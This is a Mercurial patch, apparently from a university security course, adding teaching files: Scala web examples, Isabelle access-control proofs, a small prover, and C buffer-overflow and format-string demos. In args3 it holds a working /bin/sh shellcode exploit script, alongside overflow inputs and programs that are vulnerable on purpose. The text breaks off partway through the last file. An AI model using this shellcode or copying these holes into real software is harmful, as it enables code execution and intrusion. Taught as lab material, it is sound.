# HG changeset patch
# User Christian Urban <christian dot urban at kcl dot ac dot uk>
# Date 1412425038 -3600
# Node ID 2ce98ee39990ff2490cda25b8051e17270172ee3
# Parent  9c968d0de9a07758d85476940d3d038c489fbbda
reorganised

diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/Application0.scala
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/Application0.scala	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,23 @@
+package controllers
+
+import play.api.mvc._
+
+// hello world program 
+// just answers the GET request with a string
+
+object Application extends Controller {
+
+  // answering a GET request
+  val index = Action { request =>
+    
+    Ok("Hello world!")
+  }  
+  
+}
+
+/*
+ * HTML can be returned using
+ *
+ * OK("<H1>Hello world!</H1>").as(HTML)
+ *
+ */ 
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/Application1.scala
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/Application1.scala	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,38 @@
+package controllers
+
+import play.api._
+import play.api.mvc._
+import play.api.data._
+import play.api.data.Forms._
+
+/*
+ * Answers a GET-request by sending a simple login form.
+ *
+ * Processes the POST-data by just printing the results.
+ *
+ */
+
+object Application extends Controller {
+
+  // GET request -> login form
+  val index = Action { request =>
+    
+    val form = """<form method="post"> 
+                Login: <input type="text" name="login"><br>
+                Password: <input type="password" name="password"><br>
+                <input type="submit"></form>"""
+
+    Ok(form).as(HTML)
+  }  
+
+  
+  // POST data: processing the login data
+  val receive = Action { request =>
+    
+    val form_data = Form (tuple ("login" -> text, "password" -> text))
+    val (login, password) = form_data.bindFromRequest()(request).get 
+    
+    Ok("Received login: " + login + " and password: " + password)
+  }
+  
+}
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/Application2.scala
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/Application2.scala	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,45 @@
+package controllers
+
+import play.api._
+import play.api.mvc._
+import play.api.data._
+import play.api.data.Forms._
+
+/*
+ * Application sets a cookie in plain ASCII on the
+ * clients browser recording the visits of a page.
+ */
+
+object Application extends Controller {
+
+  //no or invalid cookie results in the counter being 0
+  def gt_cookie(c: Option[Cookie]) : Int = c.map(_.value) match {
+    case Some(s) if (s.forall(_.isDigit)) => s.toInt 
+    case _ => 0
+  }
+
+  def mk_cookie(i: Int) : Cookie = {
+    Cookie("visits", i.toString)
+  }
+  
+  // GET request: read cookie data first
+  def index = Action { request =>
+ 
+    //reads the cookie and extracts the visits counter   
+    val visits_cookie = request.cookies.get("visits")
+    val visits = gt_cookie(visits_cookie)
+
+    //printing a message according to value of visits counter
+    val msg1 = "You are a valued customer who has visited this site %d times."               
+    val msg2 = "You have visited this site %d times."
+    val msg = 
+      if (visits >= 10) msg1.format(visits) else msg2.format(visits)
+    
+    //send message with new cookie
+    Ok(msg).as(HTML).withCookies(mk_cookie(visits + 1))
+  }
+}
+
+
+
+
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/Application3.scala
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/Application3.scala	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,56 @@
+package controllers
+
+import play.api._
+import play.api.mvc._
+import play.api.data._
+import play.api.data.Forms._
+import java.security.MessageDigest
+
+/*
+ * Application sets a cookie in plain ASCII on the
+ * clients browser recording the visits of a page.
+ *
+ * The cookie data is hashed ans stored in the format:
+ *
+ * visits_counter/hashed_value 
+ */
+
+object Application extends Controller {
+
+  //hash functions: SHA-1, SHA-256, etc
+  def mk_hash(s: String) : String = {
+    val hash_fun = MessageDigest.getInstance("SHA-1")
+    hash_fun.digest(s.getBytes).map{ "%02x".format(_) }.mkString
+  }
+
+  //extracting from the string .../... the visits
+  //value and hash
+  def gt_cookie(c: Option[Cookie]) : Int = 
+    c.map(_.value.split("/")) match {
+      case Some(Array(s, h)) 
+        if (s.forall(_.isDigit) && mk_hash(s) == h) => s.toInt 
+      case _ => 0
+    }
+
+  def mk_cookie(i: Int) : Cookie = {
+    val s = i.toString
+    Cookie("visits", s + "/" + mk_hash(s))
+  }
+   
+  def index = Action { request =>
+
+    val visits_cookie = request.cookies.get("visits")
+    val visits = gt_cookie(visits_cookie)
+
+    val msg1 = "You are a valued customer who has visited this site %d times."
+    val msg2 = "You have visited this site %d times."
+    val msg = 
+      if (visits >= 10) msg1.format(visits) else msg2.format(visits)
+    
+    Ok(msg).as(HTML).withCookies(mk_cookie(visits + 1))
+  }     
+}
+
+
+
+
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/Application4.scala
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/Application4.scala	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,59 @@
+package controllers
+
+import play.api._
+import play.api.mvc._
+import play.api.data._
+import play.api.data.Forms._
+import java.security.MessageDigest
+
+/*
+ * Application sets a cookie in plain ASCII on the
+ * clients browser recording the visits of a page.
+ *
+ * The cookie data is hashed and salted with a
+ * secret key.
+ */
+
+
+object Application extends Controller {
+
+  //secret key for salting - this key should not be
+  //sent to the client; the key should normally be
+  //a unguessable random number generated once
+  val salt = "my secret key"
+
+  //SHA-1 + salt
+  def mk_hash(s: String) : String = {
+    val hash_fun = MessageDigest.getInstance("SHA-1")
+    hash_fun.digest((s + salt).getBytes).map{ "%02x".format(_) }.mkString
+  }
+
+  def gt_cookie(c: Option[Cookie]) : Int = 
+    c.map(_.value.split("/")) match {
+      case Some(Array(s, h)) 
+        if (s.forall(_.isDigit) && mk_hash(s) == h) => s.toInt 
+      case _ => 0
+    }
+
+  def mk_cookie(i: Int) : Cookie = {
+    val s = i.toString
+    Cookie("visits", s + "/" + mk_hash(s))
+  }
+   
+  def index = Action { request =>
+
+    val visits_cookie = request.cookies.get("visits")
+    val visits = gt_cookie(visits_cookie)
+
+    val msg1 = "You are a valued customer who has visited this site %d times."
+    val msg2 = "You have visited this site %d times."
+    val msg = 
+      if (visits >= 10) msg1.format(visits) else msg2.format(visits)
+    
+    Ok(msg).as(HTML).withCookies(mk_cookie(visits + 1))
+  }     
+}
+
+
+
+
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/C0-long.c
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/C0-long.c	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,47 @@
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+/*
+  I used as environment the virtual machine provided here
+
+    http://www.cis.upenn.edu/~cis551/box.tar
+
+  This is Debian/Etch with Linux 2.6.18 with gcc 4.1.2 from 2008.
+ 
+  Some installation notes for this virtual machine under VMWare
+  are here
+
+    http://www.cis.upenn.edu/~cis551/project1.pdf
+
+  I run the virtial machine under MacOSX using the program 
+  VirtualBox available for free from 
+
+    https://www.virtualbox.org
+
+  The C-program I compiled the program with 
+
+    gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2
+
+ */
+
+
+void foo (char *bar)
+{
+  float my_float = 10.5;    // in hex: \x41\x28\x00\x00
+  char  buffer[28];        
+
+  printf("my float value = %f\n", my_float);
+
+  strcpy(buffer, bar);  
+ 
+  printf("my float value = %f\n", my_float);
+}
+ 
+int main (int argc, char **argv)
+{
+  foo("my string is too long !!!!! ");                  // all is normal
+  foo("my string is too long !!!!! \x10\x10\xc0\x42");  // overwrites my_float
+  return 0;
+}
+
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/C0.c
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/C0.c	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,23 @@
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+void foo (char *bar)
+{
+  float my_float = 10.5;    // in hex: \x41\x28\x00\x00
+  char  buffer[28];        
+
+  printf("my float value = %f\n", my_float);
+
+  strcpy(buffer, bar);  
+ 
+  printf("my float value = %f\n", my_float);
+}
+ 
+int main (int argc, char **argv)
+{
+  foo("my string is too long !!!!! ");                  // all is normal
+  //foo("my string is too long !!!!! \x10\x10\xc0\x42");  // overwrites my_float
+  return 0;
+}
+
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/C1.c
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/C1.c	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,32 @@
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+
+void foo (char *bar)
+{
+  float my_float = 10.5;    // in hex: \x41\x28\x00\x00
+  char  buffer[28];        
+
+  printf("my float value = %f\n", my_float);
+  strcpy(buffer, bar);   
+  printf("my float value = %f\n", my_float);
+}
+ 
+int main (int argc, char **argv)
+{
+  // only float overwritten
+  foo("my string is too long !!!!! \x10\x10\xc0\x42"); 
+  // also calls can_never_run
+  foo("my string is too long !!!!! \x10\x10\xc0\x42\x90\x90\x90\x90\x55\x84\x04\x08"); 
+  return 0;
+}
+
+// its address in my setup is \x08048455
+void can_never_run()
+{ 
+  printf("This can never be executed!\n");
+  exit(0);
+}
+
+
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/C2.c
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/C2.c	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,54 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+// for installation notes see C0.c
+// this program can be called with
+//
+//  ./args2-good | ./C2
+//
+// or
+//
+// ./args2-bad | ./C2
+
+
+int match(char *s1, char *s2) {
+  while( *s1 != '\0' && *s2 != 0 && *s1 == *s2 ){
+    s1++; s2++;
+  }
+  return( *s1 - *s2 );
+}
+
+// since gets() is insecure and produces lots of warnings, 
+// I use my own input function instead ;o)
+char ch;
+int i;
+
+void get_line(char *dst) {
+  char buffer[8];
+  i = 0;
+  while ((ch = getchar()) != '\n') {
+    buffer[i++] = ch; 
+  }
+  buffer[i] = '\0';
+  strcpy(dst, buffer);
+}
+
+void welcome() { printf("Welcome to the Machine!\n"); exit(0); }
+void goodbye() { printf("Invalid identity, exiting!\n"); exit(1); }
+
+main(){
+  char name[8];
+  char pw[8]; 
+
+  printf("login: "); 
+  get_line(name);
+  printf("password: "); 
+  get_line(pw);
+
+  if(match(name, pw) == 0)
+    welcome();
+  else
+    goodbye();
+}
+	
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/C3
Binary file Attic/programs/C3 has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/C3.c
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/C3.c	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,19 @@
+#include<stdio.h>
+#include<string.h>
+
+// simple program used for a bufferflow attack
+//
+// for installation notes see C0.c
+//
+// can be called with 
+//
+//   ./C3 `./args3`
+
+main(int argc, char **argv)
+{
+        char buffer[80];
+
+        strcpy(buffer, argv[1]);
+
+        return 1;
+}
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/C4.c
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/C4.c	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,15 @@
+#include<stdio.h>
+#include<string.h>
+
+// a program that just prints the argument
+// on the command line
+//
+// try and run it with %s
+
+
+main(int argc, char **argv)
+{
+        char *string = "This is a secret string\n";
+
+        printf(argv[1]);
+}
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/Engine.thy
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/Engine.thy	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,67 @@
+theory Engin
+imports Main
+begin
+
+typedecl principal
+
+consts E :: principal
+consts T :: principal
+consts M :: principal
+
+consts Says :: "principal \<Rightarrow> bool \<Rightarrow> bool" ("_ says _" [101, 101] 100)
+consts Sends :: "principal \<Rightarrow> principal \<Rightarrow> bool \<Rightarrow> bool" ("_ sends _ : _" [100, 100, 100] 100)
+consts Enc :: "bool \<Rightarrow> bool \<Rightarrow> bool"
+consts Id  :: "principal \<Rightarrow> bool"
+
+consts N :: "bool"
+consts K :: "bool"
+consts start_engine :: "principal \<Rightarrow> bool"
+
+
+axiomatization where
+  saysI[intro]: "F \<Longrightarrow> P says F" and
+  saysE[elim]:  "\<lbrakk>P says (F1 \<longrightarrow> F2); P says F1\<rbrakk> \<Longrightarrow> P says F2" and
+  says_encI[intro]: "\<lbrakk>P says F1; P says F2\<rbrakk> \<Longrightarrow> P says (Enc F1 F2)" and
+  says_encE[elim]: "\<lbrakk>P says (Enc F1 F2); P says F2\<rbrakk> \<Longrightarrow> P says F1" and
+  sendsE[elim]: "\<lbrakk>P sends Q : F; P says F\<rbrakk> \<Longrightarrow> Q says F"
+   
+
+lemma
+  assumes start: "E says N"
+  and challenge: "E sends T : N"
+  and  response: "T says N \<longrightarrow> (T sends E : (Enc N K) \<and> T sends E : Id(T))"
+  and      keyT: "T says K"
+  and       idT: "T says Id T"
+  and    engine: "(E says (Enc N K) \<and> E says Id(T)) \<longrightarrow> start_engine T"
+  shows "start_engine T"
+using assms
+by (metis says_encI sendsE)
+
+lemma
+  assumes start: "E says N"
+  and challenge: "\<forall>T. E sends T : N"
+  and  response: "\<forall>N E. T says N \<longrightarrow> (T sends E : (Enc N K) \<and> T sends E : Id(T))"
+  and      keyT: "T says K"
+  and       idT: "T says Id T"
+  and    engine: "\<forall>T. (E says (Enc N K) \<and> E says Id(T)) \<longrightarrow> start_engine T"
+  shows "start_engine M"
+using assms
+sorry
+(*by (metis saysE says_encE says_encI sendsE)*)
+
+lemma
+  assumes start: "E says N"
+  and challenge: "\<forall>T. E sends T : N"
+  and  response: "\<forall>N E. T says N \<longrightarrow> (T sends E : (Enc N K) \<and> T sends E : Id T)"
+  and      keyT: "T says K"
+  and       idT: "T says Id T"
+  and    engine: "\<forall>T. (E says (Enc N K) \<and> E says Id T) \<longrightarrow> start_engine T"
+  and   middle1: "\<forall>N. M sends T : N" 
+  and   middle2: "\<forall>N'. M sends E : N'"
+  and   middle3: "M says Id M"
+  shows "start_engine M"
+using assms
+
+by (metis saysE says_encE says_encI sendsE)
+
+end
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/Says.thy
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/Says.thy	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,36 @@
+theory Says
+imports Main
+begin
+
+typedecl principal
+
+consts Admin :: principal
+consts Alice :: principal
+
+consts Says :: "principal \<Rightarrow> bool \<Rightarrow> bool" ("_ says _")
+consts del_file :: "bool"
+
+axiomatization where
+  saysI[intro]: "F \<Longrightarrow> P says F" and
+  saysE[elim]:  "\<lbrakk>P says (F1 \<longrightarrow> F2); P says F1\<rbrakk> \<Longrightarrow> P says F2"
+
+lemma
+  assumes a1: "(Admin says del_file) \<longrightarrow> del_file"
+  and     a2: "Admin says ((Alice says del_file) \<longrightarrow> del_file)"
+  and     a3: "Alice says del_file"
+  shows "del_file"
+proof -
+  from a3 have "Admin says (Alice says del_file)" by (rule saysI)
+  with a2 have "Admin says del_file" by (rule saysE)
+  with a1 show "del_file" by (rule mp)
+qed
+
+lemma
+  assumes a1: "(Admin says del_file) \<longrightarrow> del_file"
+  and     a2: "Admin says ((Alice says del_file) \<longrightarrow> del_file)"
+  and     a3: "Alice says del_file"
+  shows "del_file"
+using a1 a2 a3 by auto
+
+
+end
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/Send.thy
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/Send.thy	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,55 @@
+theory Send
+imports Main
+begin
+
+typedecl principal
+
+consts A :: principal
+consts S :: principal
+consts B :: principal
+
+consts Says :: "principal \<Rightarrow> bool \<Rightarrow> bool" ("_ says _")
+consts Sends :: "principal \<Rightarrow> principal \<Rightarrow> bool \<Rightarrow> bool" ("_ sends _ : _")
+consts Enc :: "bool \<Rightarrow> bool \<Rightarrow> bool"
+consts CAB :: "bool"
+consts KAB :: "bool"
+consts KAS :: "bool" 
+consts KBS :: "bool"
+consts M :: "bool"
+
+axiomatization where
+  saysI[intro]: "F \<Longrightarrow> P says F" and
+  saysE[elim]:  "\<lbrakk>P says (F1 \<longrightarrow> F2); P says F1\<rbrakk> \<Longrightarrow> P says F2" and
+  says_encI[intro]: "\<lbrakk>P says F1; P says F2\<rbrakk> \<Longrightarrow> P says (Enc F1 F2)" and
+  says_encE[elim]: "\<lbrakk>P says (Enc F1 F2); P says F2\<rbrakk> \<Longrightarrow> P says F1" and
+  sendsE[elim]: "\<lbrakk>P sends Q : F; P says F\<rbrakk> \<Longrightarrow> Q says F"
+
+lemma
+  assumes start: "A says CAB"
+  and     msg1:  "A sends S : CAB"
+  and    serv1:  "S says (CAB \<longrightarrow> Enc KAB KAS)"
+  and    serv2:  "S says (CAB \<longrightarrow> Enc (Enc KAB KBS) KAS)"
+  and    msg2a:  "S sends A : (Enc KAB KAS)"
+  and    msg2b:  "S sends A : (Enc (Enc KAB KBS) KAS)"
+  and     msg3:  "A sends B : (Enc KAB KBS)"
+  and     msg4:  "A sends B : (Enc M KAB)"
+  and     keyA:  "A says KAS"
+  and     keyB:  "B says KBS"
+  and     keyS:  "S says KAS"
+  and       MA:  "A says (Enc M KAB)"
+  shows "S says M"
+using assms
+
+by (metis saysE says_encE sendsE)
+
+by (metis saysE says_encE sendsE)
+
+by metis
+
+
+
+by (metis saysE says_encE sendsE)
+
+by (metis saysE says_encE sendsE)
+
+end
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/args2-bad
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/args2-bad	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+perl -e 'print "test\nAAAAAAAABBBB\xc8\x84\x04\x08\n"'
\ No newline at end of file
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/args2-good
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/args2-good	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+perl -e 'print "test\ntest\n"'
\ No newline at end of file
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/args3
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/args3	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,28 @@
+#!/bin/sh
+
+# shellscript that overwrites the buffer with 
+# some payload for opening a shell (the payload
+# cannot contain any \x00)
+
+
+shellcode="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" 
+
+# 24 bytes of shellcode
+
+# "\x31\xc0"                      // xorl         %eax,%eax
+# "\x50"                          // pushl        %eax
+# "\x68\x6e\x2f\x73\x68"          // pushl        $0x68732f6e
+# "\x68\x2f\x2f\x62\x69"          // pushl        $0x69622f2f
+# "\x89\xe3"                      // movl         %esp,%ebx
+# "\x99"                          // cltd
+# "\x52"                          // pushl        %edx
+# "\x53"                          // pushl        %ebx
+# "\x89\xe1"                      // movl         %esp,%ecx
+# "\xb0\x0b"                      // movb         $0xb,%al
+# "\xcd\x80"                      // int          $0x80
+
+padding=`perl -e 'print "\x90" x 80'`
+
+# need s correct address in order to run
+printf $shellcode$padding"\xe8\xf8\xff\xbf\x00\x00\x00\x00"
+
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/formulas.scala
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/formulas.scala	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,13 @@
+abstract class Term
+case class Var(s: String) extends Term
+case class Consts(s: String) extends Term
+case class Fun(s: String, ts: List[Term]) extends Term
+
+abstract class Form
+case object True extends Form
+case object False extends Form
+case class And(f1: Form, f2: Form) extends Form
+case class Or(f1: Form, f2: Form) extends Form
+case class Imp(f1: Form, f2: Form) extends Form
+case class Neg(f: Form) extends Form
+case class Pred(s: String, ts: List[Term]) extends Form
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/formulas1.scala
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/formulas1.scala	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,14 @@
+abstract class Term
+case class Var(s: String) extends Term
+case class Consts(s: String) extends Term
+case class Fun(s: String, ts: List[Term]) extends Term
+
+abstract class Form
+case object True extends Form
+case object False extends Form
+case class And(f1: Form, f2: Form) extends Form
+case class Or(f1: Form, f2: Form) extends Form
+case class Imp(f1: Form, f2: Form) extends Form
+case class Neg(f: Form) extends Form
+case class Pred(s: String, ts: List[Term]) extends Form
+case class Says(s: String, f: Form) extends Form
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/formulas2.scala
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/formulas2.scala	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,14 @@
+abstract class Term
+case class Var(s: String) extends Term
+case class Consts(s: String) extends Term
+case class Fun(s: String, ts: List[Term]) extends Term
+
+abstract class Form
+case object True extends Form
+case object False extends Form
+case class And(f1: Form, f2: Form) extends Form
+case class Or(f1: Form, f2: Form) extends Form
+case class Imp(f1: Form, f2: Form) extends Form
+case class Neg(f: Form) extends Form
+case class Pred(s: String, ts: List[Term]) extends Form
+case class Says(s: String, f: Form) extends Form
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/judgement.scala
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/judgement.scala	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,18 @@
+abstract class Term
+case class Var(s: String) extends Term
+case class Consts(s: String) extends Term
+case class Fun(s: String, ts: List[Term]) extends Term
+
+abstract class Form
+case object True extends Form
+case object False extends Form
+case class And(f1: Form, f2: Form) extends Form
+case class Or(f1: Form, f2: Form) extends Form
+case class Imp(f1: Form, f2: Form) extends Form
+case class Neg(f: Form) extends Form
+case class Pred(s: String, ts: List[Term]) extends Form
+
+case class Judgement(Gamma: List[Form], F: Form) {
+  def lhs = Gamma
+  def rhs = F
+}
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/prove.scala
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/prove.scala	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,121 @@
+
+abstract class Term
+case class Var(s: String) extends Term
+case class Fun(s: String, ts: List[Term]) extends Term
+
+
+abstract class Form
+object True extends Form
+object False extends Form
+case class Pred(s: String, ts: List[Term]) extends Form
+case class Imp(f1: Form, f2: Form) extends Form
+case class Says(p: String, f: Form) extends Form
+case class And(f1: Form, f2: Form) extends Form
+case class Or(f1: Form, f2: Form) extends Form
+case class Controls(p: String, f: Form) extends Form
+
+case class Judgement(Gamma: List[Form], F: Form) {
+  def lhs = Gamma
+  def rhs = F
+}
+
+val Alice = "Alice"
+val Bob = "Bob"
+val Send = Pred("Send", Nil)
+
+val Gamma = 
+  List( Imp(Says(Bob, Send), Send),
+        Says(Bob, Imp(Says(Alice, Send), Send)),
+        Says(Alice, Send) )
+
+val goal = Judgement(Gamma, Send)
+
+def sc () = { println ("Yes!") }
+
+class Main {
+
+def prove(j: Judgement, sc: () => Unit) : Unit = j match {
+  case Judgement(lhs, rhs) => 
+    { if (lhs.exists(f => f == rhs))  sc () 
+      else prove1(lhs, rhs, sc) 
+    }
+}
+
+def partitions [A] (l: List[A]): List[(A, List[A])]  = 
+  l.map (s => (s, l - s))
+
+def prove1(lhs: List[Form], rhs: Form, sc: () => Unit) : Unit = 
+  rhs match {
+    case Imp(f1, f2) => prove(Judgement(f1::lhs, f2), sc)
+    /*case Says(p, f) => prove(Judgement(lhs, f), sc)*/
+    /*case Controls(p, f) => prove(Judgement(lhs, f), sc)*/
+    case Or(f1, f2) => { prove(Judgement(lhs, f1), sc);
+                         prove(Judgement(lhs, f2), sc) }
+    case And(f1, f2) => prove(Judgement(lhs, f1), 
+                            () => prove(Judgement(lhs, f2), sc))
+    case _ => { for ((f, lhs_rest) <- partitions(lhs))
+                  prove2(f, lhs_rest, rhs, sc) }
+  }
+
+def prove2(f: Form, lhs_rest: List[Form], rhs: Form, sc: () => Unit) : Unit = 
+  f match {
+    case Imp(f1, f2) => 
+      prove(Judgement(lhs_rest, f1), 
+            () => prove(Judgement(f2::lhs_rest, rhs), sc))
+    case Says(p, Imp(f1, f2)) => 
+      prove(Judgement(lhs_rest, Says(p, f1)), 
+            () => prove(Judgement(Says(p, f2)::lhs_rest, rhs), sc)) 
+    case Controls(p, f) =>
+      prove(Judgement(lhs_rest, Says(p, f)),
+            () => prove(Judgement(f::lhs_rest, rhs), sc))
+    case _ => ()
+  }
+
+}
+  
+val main = new Main
+val Foo = Pred("Foo", Nil)
+
+main.prove (Judgement (Gamma, And(Foo, Send)), sc)
+main.prove (Judgement (Nil, Foo), sc)
+main.prove (Judgement (Nil, Imp(Send, Send)), sc)
+main.prove (Judgement (Gamma, Send), sc)
+main.prove (Judgement (Gamma, Foo), sc)
+
+val F1 = Imp(Says(Bob, Send), Send)
+val F2 = Says(Bob, Imp(Says(Alice, Send), Send))
+val F3 = Says(Alice, Send)
+
+main.prove (Judgement (Nil, Imp(F1, Imp(F2, Imp(F3, Send)))), sc)
+
+val Server = "Server"
+
+def Sends(p: String, q: String, f: Form) : Form =
+  Imp(Says(p, f), Says(q, f))
+
+def Enc(f: Form, k: Form) : Form = Imp(k, f)
+
+def Connect(p: String, q: String) : Form =
+  Pred("Connect", List(Var(p), Var(q)))
+
+val Msg = Pred("Msg", Nil)
+val Kas = Pred("Kas", Nil)
+val Kbs = Pred("Kbs", Nil)
+val Kab = Pred("Kab", Nil)
+
+val Gamma_big = 
+  List( Says(Alice, Kas),
+        Says(Bob, Kbs),
+        Says(Alice, Msg),
+        Says(Alice, Connect(Alice, Bob)),
+        Sends(Alice, Server, Connect(Alice, Bob)),
+        Says(Server, Imp(Connect(Alice, Bob), Enc(Kab, Kas))),
+        Says(Server, Imp(Connect(Alice, Bob), Enc(Enc(Kab, Kbs), Kas))),
+        Sends(Server, Alice, Enc(Kab, Kas)),
+        Sends(Server, Alice, Enc(Enc(Kab, Kbs), Kas)),
+        Sends(Alice, Bob, Enc(Kab, Kbs)),
+        Sends(Alice, Bob, Enc(Msg, Kab))
+      )
+
+
+main.prove (Judgement(Gamma_big, Says(Bob, Msg)), sc)
diff -r 9c968d0de9a0 -r 2ce98ee39990 Attic/programs/prove1.scala
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/Attic/programs/prove1.scala	Sat Oct 04 13:17:18 2014 +0100
@@ -0,0 +1,119 @@
+
+abstract class Term 
+case class Var(s: String) extends Term 
+case class Const(s: String) extends Term 
+case class Fun(s: String, ts: List[Term]) extends Term
+
+abstract class Form {
+  def -> (that: Form) = Imp(this, that)
+}
+case object True extends Form
+case object False extends Form
+case class Pred(s: String, ts: List[Term]) extends Form
+case class Imp(f1: Form, f2: Form) extends Form
+case class Says(p: String, f: Form) extends Form 
+case class And(f1: Form, f2: Form) extends Form 
+case class Or(f1: Form, f2: Form) extends Form 
+
+case class Judgement(Gamma: List[Form], F: Form) {
+  def lhs = Gamma
+  def rhs = F
+}
+
+val Admin = "Admin"
+val Bob = "Bob"
+val Del = Pred("del_file", Nil)
+
+val Gamma = 
+  List( Says(Admin, Del) -> Del,
+        Says(Admin, Says(Bob, Del) -> Del),
+        Says(Bob, Del) )
+
+val goal = Judgement(Gamma, Del) // request: provable or not?
+
+def partitions[A](ls: List[A]): List[(A, List[A])]  = 
+  ls.map (s => (s, ls diff List(s)))
+
+
+def prove(j: Judgement, sc: () => Unit) : Unit = {
+  if (j.lhs.contains(j.rhs))  sc()   // Axiom rule 
+  else prove1(j.lhs, j.rhs, sc) 
+}
+
+def prove1(lhs: List[Form], rhs: Form, sc: () => Unit) : Unit = 
+  rhs match {
+    case True => sc ()
+    case False => ()
+    case Imp(f1, f2) => prove(Judgement(f1::lhs, f2), sc) 
+    case Says(p, f1) => prove(Judgement(lhs, f1), sc) 
+    case Or(f1, f2) => 
+      { prove(Judgement(lhs, f1), sc);
+        prove(Judgement(lhs, f2), sc) }
+    case And(f1, f2) => 
+      prove(Judgement(lhs, f1), 
+            () => prove(Judgement(lhs, f2), sc))
+    case _ => { for ((f, lhs_rest) <- partitions(lhs))
+                  prove2(f, lhs_rest, rhs, sc) }
+  }
+
+def prove2(f: Form, lhs_rest: List[Form], rhs: Form, sc: () => Unit) : Unit = 
+  f match {
+    case True => prove(Judgement(lhs_rest, rhs), sc)
+    case False => sc()
+    case And(f1, f2) =>
+      prove(Judgement(f1::f2::lhs_rest, rhs), sc)
+    case Imp(f1, f2) => 
+      prove(Judgement(lhs_rest, f1), 
+            () => prove(Judgement(f2::lhs_rest, rhs), sc))
+    case Or(f1, f2) => 
+      prove(Judgement(f1::lhs_rest, rhs), 
+            () => prove(Judgement(f2::lhs_rest, rhs), sc))
+    case Says(p, Imp(f1, f2)) => 
+      prove(Judgement(lhs_rest, Says(p, f1)), 
